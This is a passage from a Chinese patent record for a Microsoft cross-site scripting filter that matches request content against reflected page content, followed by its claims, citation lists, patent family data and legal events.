环境1000还包括一个或多个服务器1004。服务器1004也可以是硬件和/或软件(例如,线程、进程、计算设备)。服务器1004可以封装了,例如,通过使用体系结构来执行变换的线程。客户端1002和服务器1004之间的一种可能的通信可以呈现用于在两个或更多计算机进程之间传输的数据包的形式。数据包可以包括,例如,cookie和/或关联的上下文信息。环境1000包括通信框架1006(例如,诸如因特网之类的全球通信网),可以被用来促进客户端1002和服务器1004之间的通信。
通信可以通过有线(包括光纤)和/或无线技术来进行。客户端1002可操作地连接到一个或多个客户端数据存储器1008,可以使用这些客户端数据存储器来存储客户端1002本地的信息(例如,cookie和/或关联的上下文信息)。类似地,服务器1004可操作地连接到一个或多个服务器数据存储器1010,可以使用这些服务器数据存储器1010来存储服务器1004本地的信息。
客户端1002可以包括客户端104,而服务器1004可以包括Web服务器406、服务器502,以及服务器602。可以在服务器系统上安装防火墙504和604。
上文所描述的包括所公开的体系结构的示例。当然,不可能描述组件和/或方法的每个可能的组合,但是,那些精通本技术的普通人员可以认识到,本发明的许多进一步的组合和置换也是可以的。因此,新颖的体系结构旨在包含在所附权利要求书的精神和范围内的所有这样的更改、修改和变化。此外,就术语“包括(include)”用于详细描述或者权利要求中而言,这样的术语是包括性的,类似于术语“包含”,当被用作权利要求书中的过渡词时所解释的方式。

Claims (10)

1.一种用于处理跨站脚本(XSS)攻击的计算机实现的系统(100),包括:
用于处理客户端和服务器之间的通信流的通信组件(102);以及
用于通过将请求通信流的可疑的部分与反射的网页内容进行匹配以判断响应通信流中是否存在XSS攻击来从所述通信流中过滤反射的XSS攻击的过滤器组件(108);
其中所述过滤器组件针对所述请求通信流来处理启发规则以生成一个或多个签名,并进一步其中所述过滤器组件针对所述响应通信流处理所述签名以过滤所述XSS攻击。
2.如权利要求1所述的系统,其特征在于,所述通信组件是向所述服务器发送HTTP请求的所述客户端中的浏览器,所述过滤器组件在所述客户端上操作,以过滤所述XSS攻击。
3.如权利要求1所述的系统,其特征在于,所述通信流是HTTP请求/响应通信流,所述过滤器组件分析所述请求通信流,以确认所述响应通信流中的所述XSS攻击。
4.如权利要求3所述的系统,其特征在于,所述通信组件是处理所述HTTP请求/响应通信流的所述服务器上的防火墙应用程序,而所述过滤器组件是作为所述防火墙应用程序的一部分来操作以过滤所述XSS攻击。
5.如权利要求3所述的系统,其特征在于,所述通信组件是所述服务器上的代理防火墙应用程序,所述服务器是处理所述HTTP请求/响应通信流的代理服务器或反向代理服务器,而所述过滤器组件是作为所述代理防火墙应用程序的一部分来操作以过滤所述XSS攻击。
6.如权利要求1所述的系统,其特征在于,所述服务器基于特定的HTTP响应标头,对于特定响应,禁用所述过滤器组件。
7.如权利要求1所述的系统,其特征在于,所述过滤器组件在从所述服务器到所述客户端的响应中选择一个或多个供替换的中性字符,来确定是否发生所述XSS攻击。
8.如权利要求1所述的系统,其特征在于,所述过滤器组件针对来自所述服务器的传入的通信流来处理一个或多个签名以确定是否发生所述XSS攻击,所述攻击基于具有MIME类型的所述传入的通信流的内容。
9.如权利要求1所述的系统,其特征在于,所述过滤器组件处理对脚本引擎的所有输入,当标识脚本块时,所述过滤器组件在原始传出的通信流中扫描请求,以找到将要执行的脚本,并基于所述脚本与所述脚本块的匹配,过滤脚本块。
10.一种用于处理XSS攻击的计算机实现的系统,包括:
用于处理客户端和服务器之间的请求和响应的客户端浏览器(402);以及
作为所述客户端浏览器的一部分的过滤器组件(108),用于针对所述请求来处理启发规则以生成签名,并基于所述签名,从所述响应中过滤反射的XSS攻击,其中所述过滤进一步包括将所述请求的可疑的部分与反射的网页内容匹配,以判断所述响应中是否存在XSS攻击。
CN200880115316.8A 2007-11-05 2008-10-15 跨站脚本过滤器 Active CN101849238B (zh)

Applications Claiming Priority (3)

Application Number Priority Date Filing Date Title
US11/935,323 2007-11-05
US11/935,323 US20090119769A1 (en) 2007-11-05 2007-11-05 Cross-site scripting filter
PCT/US2008/079989 WO2009061588A1 (en) 2007-11-05 2008-10-15 Cross-site scripting filter

Publications (2)

Publication Number Publication Date
CN101849238A CN101849238A (zh) 2010-09-29
CN101849238B true CN101849238B (zh) 2017-04-19

Family

ID=40589515

Family Applications (1)

Application Number Title Priority Date Filing Date
CN200880115316.8A Active CN101849238B (zh) 2007-11-05 2008-10-15 跨站脚本过滤器

Country Status (5)

Country Link
US (1) US20090119769A1 (zh)
EP (1) EP2223255A4 (zh)
JP (3) JP5490708B2 (zh)
CN (1) CN101849238B (zh)
WO (1) WO2009061588A1 (zh)

Families Citing this family (79)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US8245049B2 (en) * 2004-06-14 2012-08-14 Microsoft Corporation Method and system for validating access to a group of related elements
EP2065824A1 (en) * 2007-11-30 2009-06-03 Fox Entertainment Group HTML filter for prevention of cross site scripting attacks
US8949990B1 (en) 2007-12-21 2015-02-03 Trend Micro Inc. Script-based XSS vulnerability detection
US8578482B1 (en) * 2008-01-11 2013-11-05 Trend Micro Inc. Cross-site script detection and prevention
US8893270B1 (en) * 2008-01-29 2014-11-18 Trend Micro Incorporated Detection of cross-site request forgery attacks
US8850567B1 (en) 2008-02-04 2014-09-30 Trend Micro, Inc. Unauthorized URL requests detection
US8800043B2 (en) * 2008-05-19 2014-08-05 Microsoft Corporation Pre-emptive pre-indexing of sensitive and vulnerable assets
US20090300012A1 (en) * 2008-05-28 2009-12-03 Barracuda Inc. Multilevel intent analysis method for email filtration
US9264443B2 (en) * 2008-08-25 2016-02-16 International Business Machines Corporation Browser based method of assessing web application vulnerability
US8931084B1 (en) * 2008-09-11 2015-01-06 Google Inc. Methods and systems for scripting defense
US8495719B2 (en) * 2008-10-02 2013-07-23 International Business Machines Corporation Cross-domain access prevention
US8515810B2 (en) * 2008-10-24 2013-08-20 Cardlytics, Inc. System and methods for delivering targeted marketing offers to consumers via an online portal
US20100251371A1 (en) * 2009-03-27 2010-09-30 Jeff Brown Real-time malicious code inhibitor
CN101964025B (zh) * 2009-07-23 2016-02-03 北京神州绿盟信息安全科技股份有限公司 Xss检测方法和设备
US10157280B2 (en) * 2009-09-23 2018-12-18 F5 Networks, Inc. System and method for identifying security breach attempts of a website
AU2010328326B2 (en) * 2009-12-07 2016-12-01 Robert Buffone System and method for website performance optimization and internet traffic processing
US8640216B2 (en) * 2009-12-23 2014-01-28 Citrix Systems, Inc. Systems and methods for cross site forgery protection
US9058489B2 (en) * 2010-01-25 2015-06-16 Samsung Electronics Co., Ltd. Marking documents with executable text for processing by computing systems
US8997217B2 (en) * 2010-01-25 2015-03-31 Samsung Electronics Co., Ltd. Safely processing and presenting documents with executable text
US8718621B2 (en) * 2010-02-24 2014-05-06 General Motors Llc Notification method and system
US20110219446A1 (en) * 2010-03-05 2011-09-08 Jeffrey Ichnowski Input parameter filtering for web application security
US8875285B2 (en) * 2010-03-24 2014-10-28 Microsoft Corporation Executable code validation in a web browser
CA2704863A1 (en) * 2010-06-10 2010-08-16 Ibm Canada Limited - Ibm Canada Limitee Injection attack mitigation using context sensitive encoding of injected input
US8910247B2 (en) * 2010-10-06 2014-12-09 Microsoft Corporation Cross-site scripting prevention in dynamic content
CN102469113B (zh) * 2010-11-01 2014-08-20 北京启明星辰信息技术股份有限公司 一种安全网关及其转发网页的方法
US8898776B2 (en) 2010-12-28 2014-11-25 Microsoft Corporation Automatic context-sensitive sanitization
GB2488790A (en) * 2011-03-07 2012-09-12 Celebrus Technologies Ltd A method of controlling web page behaviour on a web enabled device
CN102780684B (zh) * 2011-05-12 2015-02-25 同济大学 Xss防御系统
US9342274B2 (en) 2011-05-19 2016-05-17 Microsoft Technology Licensing, Llc Dynamic code generation and memory management for component object model data constructs
US8881101B2 (en) 2011-05-24 2014-11-04 Microsoft Corporation Binding between a layout engine and a scripting engine
TWI439097B (zh) * 2011-08-26 2014-05-21 Univ Nat Taiwan Science Tech 跨站腳本攻擊產生方法
US10445528B2 (en) * 2011-09-07 2019-10-15 Microsoft Technology Licensing, Llc Content handling for applications
US9223976B2 (en) * 2011-09-08 2015-12-29 Microsoft Technology Licensing, Llc Content inspection
GB2496107C (en) * 2011-10-26 2022-07-27 Cliquecloud Ltd A method and apparatus for preventing unwanted code execution
TWI506471B (zh) * 2011-12-27 2015-11-01 Univ Nat Taiwan Science Tech 跨網站攻擊防範系統及方法
KR101305755B1 (ko) * 2012-02-20 2013-09-17 한양대학교 산학협력단 주소에 기반하여 스크립트 실행을 필터링하는 장치 및 방법
US9026667B1 (en) * 2012-03-26 2015-05-05 Emc Corporation Techniques for resource validation
CN103532912B (zh) * 2012-07-04 2017-07-14 中国电信股份有限公司 浏览器业务数据的处理方法和装置
CN102819710B (zh) * 2012-08-22 2014-11-12 西北工业大学 基于渗透测试的跨站点脚本漏洞检测方法
US8839424B2 (en) * 2012-11-15 2014-09-16 Robert Hansen Cross-site request forgery protection
CN103856471B (zh) 2012-12-06 2018-11-02 阿里巴巴集团控股有限公司 跨站脚本攻击监控系统及方法
TWI489309B (zh) * 2013-01-10 2015-06-21 Nat Taiwan University Of Sience And Technology 跨網站攻擊防禦系統及方法
US9083736B2 (en) 2013-01-28 2015-07-14 Hewlett-Packard Development Company, L.P. Monitoring and mitigating client-side exploitation of application flaws
US9430452B2 (en) 2013-06-06 2016-08-30 Microsoft Technology Licensing, Llc Memory model for a layout engine and scripting engine
CN104348789B (zh) * 2013-07-30 2018-04-27 中国银联股份有限公司 用于防止跨站脚本攻击的Web服务器及方法
CN104519008B (zh) * 2013-09-26 2018-05-15 北大方正集团有限公司 跨站脚本攻击防御方法和装置、应用服务器
CN103634305B (zh) * 2013-11-15 2017-11-10 北京奇安信科技有限公司 网站防火墙的识别方法及设备
CN104657659B (zh) * 2013-11-20 2019-02-05 腾讯科技(深圳)有限公司 一种存储跨站攻击脚本漏洞检测方法、装置及系统
US9317694B2 (en) 2013-12-03 2016-04-19 Microsoft Technology Licensing, Llc Directed execution of dynamic programs in isolated environments
CN103870539A (zh) * 2014-02-20 2014-06-18 小米科技有限责任公司 文本预处理的方法及装置
US11481808B2 (en) 2014-05-16 2022-10-25 Cardlytics, Inc. System and apparatus for identifier matching and management
US9781145B2 (en) * 2014-11-25 2017-10-03 International Business Machines Corporation Persistent cross-site scripting vulnerability detection
CN104601540B (zh) * 2014-12-05 2018-11-16 华为技术有限公司 一种跨站脚本XSS攻击防御方法及Web服务器
US9787638B1 (en) * 2014-12-30 2017-10-10 Juniper Networks, Inc. Filtering data using malicious reference information
US10165004B1 (en) 2015-03-18 2018-12-25 Cequence Security, Inc. Passive detection of forged web browsers
US11418520B2 (en) 2015-06-15 2022-08-16 Cequence Security, Inc. Passive security analysis with inline active security device
US9942267B1 (en) 2015-07-06 2018-04-10 Amazon Technologies, Inc. Endpoint segregation to prevent scripting attacks
US10044728B1 (en) * 2015-07-06 2018-08-07 Amazon Technologies, Inc. Endpoint segregation to prevent scripting attacks
CN104967628B (zh) * 2015-07-16 2017-12-26 浙江大学 一种保护web应用安全的诱骗方法
US10693901B1 (en) * 2015-10-28 2020-06-23 Jpmorgan Chase Bank, N.A. Techniques for application security
US10931713B1 (en) 2016-02-17 2021-02-23 Cequence Security, Inc. Passive detection of genuine web browsers based on security parameters
CN107547487B (zh) * 2016-06-29 2020-11-24 阿里巴巴集团控股有限公司 一种防止脚本攻击的方法及装置
US11538052B1 (en) 2016-12-12 2022-12-27 Dosh Holdings, Inc. System for generating and tracking offers chain of titles
US11488190B1 (en) 2016-12-12 2022-11-01 Dosh, Llc System for sharing and transferring currency
US11526881B1 (en) 2016-12-12 2022-12-13 Dosh Holdings, Inc. System for generating and tracking offers chain of titles
US10931686B1 (en) 2017-02-01 2021-02-23 Cequence Security, Inc. Detection of automated requests using session identifiers
US11496438B1 (en) 2017-02-07 2022-11-08 F5, Inc. Methods for improved network security using asymmetric traffic delivery and devices thereof
US10791119B1 (en) 2017-03-14 2020-09-29 F5 Networks, Inc. Methods for temporal password injection and devices thereof
US10931662B1 (en) 2017-04-10 2021-02-23 F5 Networks, Inc. Methods for ephemeral authentication screening and devices thereof
CN107872463A (zh) * 2017-11-29 2018-04-03 四川无声信息技术有限公司 一种web邮件xss攻击检测方法及相关装置
JP6733915B2 (ja) * 2018-03-09 2020-08-05 Necプラットフォームズ株式会社 ルータ装置、上位ウェブフィルタリング検出方法および上位ウェブフィルタリング検出プログラム
US11658995B1 (en) 2018-03-20 2023-05-23 F5, Inc. Methods for dynamically mitigating network attacks and devices thereof
US10826935B2 (en) * 2018-04-24 2020-11-03 International Business Machines Corporation Phishing detection through secure testing implementation
US10831892B2 (en) * 2018-06-07 2020-11-10 Sap Se Web browser script monitoring
CN110417746A (zh) * 2019-07-05 2019-11-05 平安国际智慧城市科技股份有限公司 跨站脚本攻击防御方法、装置、设备及存储介质
US11082437B2 (en) * 2019-12-17 2021-08-03 Paypal, Inc. Network resources attack detection
US10992738B1 (en) 2019-12-31 2021-04-27 Cardlytics, Inc. Transmitting interactive content for rendering by an application
US11411918B2 (en) * 2020-05-26 2022-08-09 Microsoft Technology Licensing, Llc User interface for web server risk awareness
CN113364815B (zh) * 2021-08-11 2021-11-23 飞狐信息技术(天津)有限公司 一种跨站脚本漏洞攻击防御方法及装置

Citations (2)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN1705947A (zh) * 2003-10-24 2005-12-07 微软公司 服务发现及发布
CN1809068A (zh) * 2005-01-04 2006-07-26 微软公司 Web应用程序架构

Family Cites Families (25)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US6205551B1 (en) * 1998-01-29 2001-03-20 Lucent Technologies Inc. Computer security using virus probing
US6311278B1 (en) * 1998-09-09 2001-10-30 Sanctum Ltd. Method and system for extracting application protocol characteristics
US7526437B1 (en) * 2000-04-06 2009-04-28 Apple Inc. Custom stores
JP2003044441A (ja) * 2001-07-26 2003-02-14 Japan Science & Technology Corp ネットワーク・アクセス制御管理システム
JP4309102B2 (ja) * 2002-07-16 2009-08-05 Necネクサソリューションズ株式会社 不正コマンド・データ検知方式、不正コマンド・データ検知方法および不正コマンド・データ検知プログラム
US7343626B1 (en) * 2002-11-12 2008-03-11 Microsoft Corporation Automated detection of cross site scripting vulnerabilities
US7359976B2 (en) * 2002-11-23 2008-04-15 Microsoft Corporation Method and system for improved internet security via HTTP-only cookies
JP4405248B2 (ja) * 2003-03-31 2010-01-27 株式会社東芝 通信中継装置、通信中継方法及びプログラム
US20040260754A1 (en) * 2003-06-20 2004-12-23 Erik Olson Systems and methods for mitigating cross-site scripting
JP2005092564A (ja) * 2003-09-18 2005-04-07 Hitachi Software Eng Co Ltd フィルタリング装置
WO2005062707A2 (en) * 2003-12-30 2005-07-14 Checkpoint Software Technologies Ltd. Universal worm catcher
JP4298622B2 (ja) * 2004-09-29 2009-07-22 株式会社東芝 不正アクセス検出装置、不正アクセス検出方法及び不正アクセス検出プログラム
US7831995B2 (en) * 2004-10-29 2010-11-09 CORE, SDI, Inc. Establishing and enforcing security and privacy policies in web-based applications
JP2007004685A (ja) * 2005-06-27 2007-01-11 Hitachi Ltd 通信情報監視装置
JP2007047884A (ja) * 2005-08-05 2007-02-22 Recruit Co Ltd 情報処理システム
WO2007025279A2 (en) * 2005-08-25 2007-03-01 Fortify Software, Inc. Apparatus and method for analyzing and supplementing a program to provide security
US20070107057A1 (en) * 2005-11-10 2007-05-10 Docomo Communications Laboratories Usa, Inc. Method and apparatus for detecting and preventing unsafe behavior of javascript programs
US20070113282A1 (en) * 2005-11-17 2007-05-17 Ross Robert F Systems and methods for detecting and disabling malicious script code
US20070136809A1 (en) * 2005-12-08 2007-06-14 Kim Hwan K Apparatus and method for blocking attack against Web application
JP4545085B2 (ja) * 2005-12-08 2010-09-15 富士通株式会社 ファイアウォール装置
JP4820374B2 (ja) * 2005-12-15 2011-11-24 ネットスター株式会社 ウェブアクセス監視方法及びそのプログラム
JP2007183838A (ja) * 2006-01-06 2007-07-19 Fujitsu Ltd クエリーパラメーター出力ページ発見プログラム、クエリーパラメーター出力ページ発見方法およびクエリーパラメーター出力ページ発見装置
JP4637773B2 (ja) * 2006-03-10 2011-02-23 エヌ・ティ・ティ・コムウェア株式会社 個人情報保護プログラムおよび端末
JP2007241906A (ja) * 2006-03-11 2007-09-20 Hitachi Software Eng Co Ltd Webアプリケーション脆弱性動的検査方法およびシステム
US7934253B2 (en) * 2006-07-20 2011-04-26 Trustwave Holdings, Inc. System and method of securing web applications across an enterprise

Patent Citations (2)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN1705947A (zh) * 2003-10-24 2005-12-07 微软公司 服务发现及发布
CN1809068A (zh) * 2005-01-04 2006-07-26 微软公司 Web应用程序架构

Non-Patent Citations (1)

* Cited by examiner, † Cited by third party
Title
Daisuke Miyamoto,Hiroaki Hazeyama,Youki Kadobayashi.SPS:a simple filtering algorithm to thwart phishing attacks.《Nara Institute of Science and Technology》.2005, *

Also Published As

Publication number Publication date
CN101849238A (zh) 2010-09-29
JP2013242924A (ja) 2013-12-05
US20090119769A1 (en) 2009-05-07
JP5642856B2 (ja) 2014-12-17
EP2223255A1 (en) 2010-09-01
EP2223255A4 (en) 2013-11-13
JP2011503715A (ja) 2011-01-27
JP5490708B2 (ja) 2014-05-14
WO2009061588A1 (en) 2009-05-14
JP2015053070A (ja) 2015-03-19
JP5992488B2 (ja) 2016-09-14

Similar Documents

Publication Publication Date Title
CN101849238B (zh) 跨站脚本过滤器
Grossman XSS attacks: cross site scripting exploits and defense
Shahriar et al. Client-side detection of cross-site request forgery attacks
Nithya et al. A survey on detection and prevention of cross-site scripting attack
CN110362992A (zh) 在基于云端环境中阻挡或侦测计算机攻击的方法和设备
CN110348210A (zh) 安全防护方法及装置
Gupta et al. Robust injection point-based framework for modern applications against XSS vulnerabilities in online social networks
Lundeen et al. New ways im going to hack your web app
Pauli The basics of web hacking: tools and techniques to attack the web
Snyder et al. Pro PHP security
Ofuonye et al. Securing web-clients with instrumented code and dynamic runtime monitoring
Oriyano et al. Client-side attacks and defense
Dorrans Beginning ASP. NET Security
Heckathorn Network monitoring for web-based threats
Sadana et al. Analysis of cross site scripting attack
Yergaliyev Continuous security testing for an existing client-server application
Barwinski Taxonomy of spyware and empirical study of network drive-by-downloads
Jnena Modern Approach for WEB Applications Vulnerability Analysis
Kabay Some notes on malware
Shahriar Mitigation of web-based program security vulnerability exploitations
Chua et al. Technological impediments to B2C electronic commerce: An update
Whitaker et al. Chained Exploits: Advanced Hacking Attacks from Start to Finish
Stock Untangling the Web of Client-Side Cross-Site Scripting
Ismail Alarm aggregation architecture for identifying one way XSS attacks
Javed On cross-site scripting, fallback authentication and privacy im web applications

Legal Events

Date Code Title Description
C06 Publication
PB01 Publication
C10 Entry into substantive examination
SE01 Entry into force of request for substantive examination
ASS Succession or assignment of patent right

Owner name: MICROSOFT TECHNOLOGY LICENSING LLC

Free format text: FORMER OWNER: MICROSOFT CORP.

Effective date: 20150727

C41 Transfer of patent application or patent right or utility model
TA01 Transfer of patent application right

Effective date of registration: 20150727

Address after: Washington State

Applicant after: Micro soft technique license Co., Ltd

Address before: Washington State

Applicant before: Microsoft Corp.

GR01 Patent grant
GR01 Patent grant